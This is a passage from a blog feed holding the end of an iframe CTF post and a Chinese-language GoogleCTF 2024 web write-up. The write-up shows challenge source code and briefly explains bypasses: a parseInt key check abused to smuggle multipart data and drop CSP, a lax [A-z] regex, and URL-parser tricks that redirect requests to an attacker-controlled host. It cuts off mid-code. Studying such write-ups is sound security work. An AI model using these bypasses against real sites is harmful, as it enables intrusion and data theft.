href="https://github.com/whatwg/html/issues/6809">srcdoc and sandbox interaction with session history #6809</a>. While writing this, I also read this issue several times and conducted many experiments before finally understanding the intricacies. The key is to try it out yourself after reading; after a few attempts, you will likely understand how it works.</p><p>By the way, the author of this issue, Jake Archibald, is the host of <a href="https://www.youtube.com/playlist?list=PLNYkxOF6rcIAKIQFsNbV0JDws_G_bnNo9">HTTP 203</a>. This program should be familiar to front-end engineers, as it discusses many web-related topics. One of the must-read classics for front-end engineers, <a href="https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/">Tasks, microtasks, queues and schedules</a>, was also written by him.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;In idekCTF 2024, there was an interesting problem called srcdoc-memos from @icesfont, which involved a lot of knowledge related to iframes. I did not actually participate in the competition, but after the event, I looked at the problem and the solution, and it took me several days to finally understand why. It is definitely worth documenting the process and the solution.&lt;/p&gt;
&lt;p&gt;Since this problem involves a lot of knowledge related to iframes, I will try to explain it step by step for better understanding.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>GoogleCTF 2024 筆記</title>
    <link href="https://blog.huli.tw/2024/06/28/google-ctf-2024-writeup/"/>
    <id>https://blog.huli.tw/2024/06/28/google-ctf-2024-writeup/</id>
    <published>2024-06-28T02:40:00.000Z</published>
    <updated>2024-06-28T12:29:08.155Z</updated>
    
    <content type="html"><![CDATA[<p>這半年左右因為有其他事情在忙，有段時間沒有好好打一場 CTF 了，這次為了 GoogleCTF 2024 騰出時間，跟隊友一起把所有 web 都解掉了。</p><p>然後題目依舊很有趣，這次有三題有參與到，另外兩題比較簡單的隊友都先解掉了，沒機會看，但還是會稍微做個紀錄。難得有這種幾乎都是 client-side challenge 的 CTF，我是滿喜歡的。</p><p>關鍵字：</p><ol><li>URL parser 繞過</li><li>parseInt 後面可以帶字串</li><li>[a-Z] regex 會包含特殊字元</li><li>cookie tossing</li><li>CSS injection</li></ol><span id="more"></span><h2><span id="grand-prix-heaven-67-solves">GRAND PRIX HEAVEN (67 solves)</span></h2><p>隊友速度太快，還來不及加入就被解開了。</p><p>核心程式碼是這一段：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"/fave/:GrandPrixHeaven"</span><span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> grandPrix <span class="token operator">=</span> <span class="token keyword">await</span> Configuration<span class="token punctuation">.</span><span class="token function">findOne</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">public_id</span><span class="token operator">:</span> req<span class="token punctuation">.</span>params<span class="token punctuation">.</span>GrandPrixHeaven <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>grandPrix<span class="token punctuation">)</span> <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token literal-property property">error</span><span class="token operator">:</span> <span class="token string">"ERROR: ID not found"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> defaultData <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"csp"</span><span class="token punctuation">,</span>    <span class="token number">1</span><span class="token operator">:</span> <span class="token string">"retrieve"</span><span class="token punctuation">,</span>    <span class="token number">2</span><span class="token operator">:</span> <span class="token string">"apiparser"</span><span class="token punctuation">,</span>    <span class="token number">3</span><span class="token operator">:</span> <span class="token string">"head_end"</span><span class="token punctuation">,</span>    <span class="token number">4</span><span class="token operator">:</span> <span class="token string">"faves"</span><span class="token punctuation">,</span>    <span class="token number">5</span><span class="token operator">:</span> <span class="token string">"footer"</span><span class="token punctuation">,</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> needleBody <span class="token operator">=</span> defaultData<span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>grandPrix<span class="token punctuation">.</span>custom <span class="token operator">!=</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>      needleBody <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>grandPrix<span class="token punctuation">.</span>custom<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> <span class="token punctuation">[</span>k<span class="token punctuation">,</span> v<span class="token punctuation">]</span> <span class="token keyword">of</span> Object<span class="token punctuation">.</span><span class="token function">entries</span><span class="token punctuation">(</span>needleBody<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token constant">TEMPLATE_PIECES</span><span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>v<span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token function">isNum</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span>k<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token keyword">typeof</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token string">'object'</span><span class="token punctuation">)</span>          <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"invalid template piece"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// don't be sneaky. We need a CSP!</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span>k<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> v <span class="token operator">!=</span> <span class="token string">"csp"</span><span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"No CSP"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">ERROR IN /fave/:GrandPrixHeaven:\n</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token literal-property property">error</span><span class="token operator">:</span> <span class="token string">"invalid custom body"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  needle<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span>    <span class="token constant">TEMPLATE_SERVER</span><span class="token punctuation">,</span>    needleBody<span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">multipart</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token literal-property property">boundary</span><span class="token operator">:</span> <span class="token constant">BOUNDARY</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err<span class="token punctuation">,</span> resp<span class="token punctuation">,</span> body</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">ERROR IN /fave/:GrandPrixHeaven:\n</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">500</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token literal-property property">error</span><span class="token operator">:</span> <span class="token string">"error"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>body<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>needleBody</code> 是可控的，主要是會檢查 key 跟 value 的合法性，但 key 的檢查 <code>isNum(parseInt(k))</code> 有問題，<code>parseInt</code> 的轉換很寬鬆，<code>parseInt(&#39;123hello&#39;)</code> 會變成 <code>123</code>，所以可以在數字後面放任意字串繞過。</p><p>這邊的 <code>boundary</code> 是已知的，因此可以自己從 key 偷渡資料進去。</p><p>接著會發一個請求到 TEMPLATE_SERVER 去，然後 TEMPLATE_SERVER 是這樣處理的：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> templates <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'./templates'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token function-variable function">parseMultipartData</span>  <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">data<span class="token punctuation">,</span> boundary</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> chunks <span class="token operator">=</span> data<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span>boundary<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// always start with the &lt;head> element</span>  <span class="token keyword">var</span> processedTemplate <span class="token operator">=</span> templates<span class="token punctuation">.</span>head_start<span class="token punctuation">;</span>  <span class="token comment">// to prevent loading an html page of arbitrarily large size, limit to just 7 at a time</span>  <span class="token keyword">let</span> end <span class="token operator">=</span> <span class="token number">7</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>chunks<span class="token punctuation">.</span>length<span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&lt;=</span> end<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    end <span class="token operator">=</span> chunks<span class="token punctuation">.</span>length<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> end<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// seperate body from the header parts</span>    <span class="token keyword">var</span> lines <span class="token operator">=</span> chunks<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">'\r\n\r\n'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item<span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">"\r\n"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span> <span class="token keyword">return</span> item <span class="token operator">!=</span> <span class="token string">''</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> item <span class="token keyword">of</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>templates<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>lines<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            processedTemplate <span class="token operator">+=</span> templates<span class="token punctuation">[</span>item<span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> processedTemplate<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如上所述，我們可以自己偷加東西進去，並且讓 csp 不要被渲染。</p><p>而前端的部分有一個地方要繞：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> <span class="token function-variable function">clean</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">path</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>path<span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"no path"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">let</span> re <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RegExp</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[A-z0-9\s_-]+$</span><span class="token regex-delimiter">/</span><span class="token regex-flags">i</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>re<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// normalize</span>        <span class="token keyword">let</span> cleaned <span class="token operator">=</span> path<span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\s</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> cleaned<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"regex fail"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">return</span> <span class="token string">"dfv"</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  url <span class="token operator">=</span> <span class="token function">clean</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>url <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">URL</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> <span class="token string">'https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這裡的檢查 <code>A-z</code> 是重點，因為中間有些符號被加進去了，如 <code>\</code>，因此可以讓 url 是 <code>\test</code>，就可以蓋掉原本的 <code>/api/get-car</code>，把路徑改掉。</p><p>上面只是簡單記錄一下，想看更詳細的步驟跟題目，可以直接看作者的 writeup：<a href="https://github.com/google/google-ctf/tree/main/2024/quals/web-grandprixheaven/solution">https://github.com/google/google-ctf/tree/main/2024/quals/web-grandprixheaven/solution</a></p><h2><span id="sappy-64-solves">SAPPY (64 solves)</span></h2><p>這題一樣我還沒看的時候隊友就解掉了，大概講一下核心以及記錄一下 Discord 的討論。</p><p>核心程式碼如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> Uri <span class="token operator">=</span> goog<span class="token punctuation">.</span><span class="token function">require</span><span class="token punctuation">(</span><span class="token string">"goog.Uri"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">validate</span><span class="token punctuation">(</span><span class="token parameter">host</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> h <span class="token operator">=</span> Uri<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>host<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>h<span class="token punctuation">.</span><span class="token function">hasQuery</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">throw</span> <span class="token string">"invalid host"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>h<span class="token punctuation">.</span><span class="token function">getDomain</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token string">"sappy-web.2024.ctfcompetition.com"</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">throw</span> <span class="token string">"invalid host"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> host<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>基本上就是要繞過這個檢查，讓傳入的網址可以發送請求到自己的 server。</p><p>有看到兩種繞過方式，一種是用 data URI：<code>data://sappy-web.2024.ctfcompetition.com/;base64,...</code>，對這個 lib 來說，domain 會被解析為 <code>sappy-web.2024.ctfcompetition.com</code>。</p><p>另一種是 <code>\\\\www%2eURL%2ex://sappy-web.2024.ctfcompetition.com</code>，讓 parser 認為前面的 <code>\\\\www%2eURL%2ex</code> 是 scheme，但對瀏覽器來說會把 <code>\\</code> 解析成 <code>//</code>，因此就是 <code>https://www.URL.ex//sappy-web.2024.ctfcompetition.com</code>。</p><p>更詳細的過程可以參考這篇： <a href="https://zimzi.substack.com/p/googlectf-2024-sappy">googleCTF 2024 sappy</a></p><h2><span id="postviewer-v3-19-solves">POSTVIEWER V3 (19 solves)</span></h2><p>2022 年的 <a href="https://blog.huli.tw/2022/07/09/google-ctf-2022-writeup/">v1</a> 沒解出來，2023 年的 <a href="https://blog.huli.tw/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/">v2</a> 也沒解出來，到了今年出了 v3，終於解出來了。</p><p>今年的版本核心概念跟之前一樣，都是想做出一個有 sandbox 的 preview file 機制。介面很簡單，就一個讓你可以新增檔案的功能而已：</p><p><img src="/img/google-ctf-2024-writeup/p1.png" alt="upload file"></p><p>點擊檔案以後，會更新 URL 上的 hash，這個 hash 的值是 <code>sha1(filename)</code>，接著根據檔案名稱去 IndexedDB 裡面取得內容，然後才是重點。</p><p>取得內容以後，會先產生一個 sandbox domain，這個 domain 的名稱取決於：<code>calculateHash(body, product, window.origin, location.href)</code>，body 是一個固定的 HTML，product 也是固定的。</p><p>再來會用 iframe 載入這個 sandbox domain，並且在 query string 帶上：<code>?o=$&#123;window.origin&#125;</code>，底下是範例：</p><pre class="line-numbers language-none"><code class="language-none">https:&#x2F;&#x2F;sbx-0wguyijf8lspklnc3724kqvia43l62tu7v1l2gdelcy503m2cd.  postviewer3-web.2024.ctfcompetition.com&#x2F;postviewer&#x2F;shim.html  ?o&#x3D;https%3A%2F%2Fpostviewer3-web.2024.ctfcompetition.com<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>那這個 shim.html 裡面在幹嘛呢？內容很簡單，我只擷取 JavaScript 相關的段落：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token constant">HASH_REGEXP</span> <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^sbx-([a-z0-9]&#123;50&#125;)[.]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token constant">PRODUCT_REGEXP</span> <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[/]([a-z0-9_-]*)[/]shim.html</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span><span class="token keyword">let</span> <span class="token constant">FILE_HASH</span><span class="token punctuation">,</span> <span class="token constant">PRODUCT</span><span class="token keyword">function</span> <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>innerText <span class="token operator">=</span> err<span class="token punctuation">;</span>  <span class="token keyword">throw</span> <span class="token function">Error</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">try</span><span class="token punctuation">&#123;</span>  <span class="token constant">FILE_HASH</span> <span class="token operator">=</span> <span class="token constant">HASH_REGEXP</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>host<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">catch</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"Incorrect hash"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">try</span><span class="token punctuation">&#123;</span>  <span class="token constant">PRODUCT</span> <span class="token operator">=</span> <span class="token constant">PRODUCT_REGEXP</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>pathname<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">catch</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"Incorrect product"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">const</span> <span class="token constant">TRUSTED_ORIGIN</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">URL</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>href<span class="token punctuation">)</span><span class="token punctuation">.</span>searchParams<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'o'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^https?:\/\/</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token constant">TRUSTED_ORIGIN</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"Untrusted Origin"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> arr    <span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">BigInt</span><span class="token punctuation">(</span><span class="token number">256</span><span class="token punctuation">)</span> <span class="token operator">*</span> a <span class="token operator">+</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">BigInt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">36</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>strings</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> encoder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TextEncoder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> string <span class="token operator">=</span> strings<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> crypto<span class="token punctuation">.</span>subtle<span class="token punctuation">.</span><span class="token function">digest</span><span class="token punctuation">(</span><span class="token string">'SHA-256'</span><span class="token punctuation">,</span> encoder<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>window<span class="token punctuation">.</span><span class="token function-variable function">onmessage</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>origin <span class="token operator">!==</span> <span class="token constant">TRUSTED_ORIGIN</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"Wrong origin"</span><span 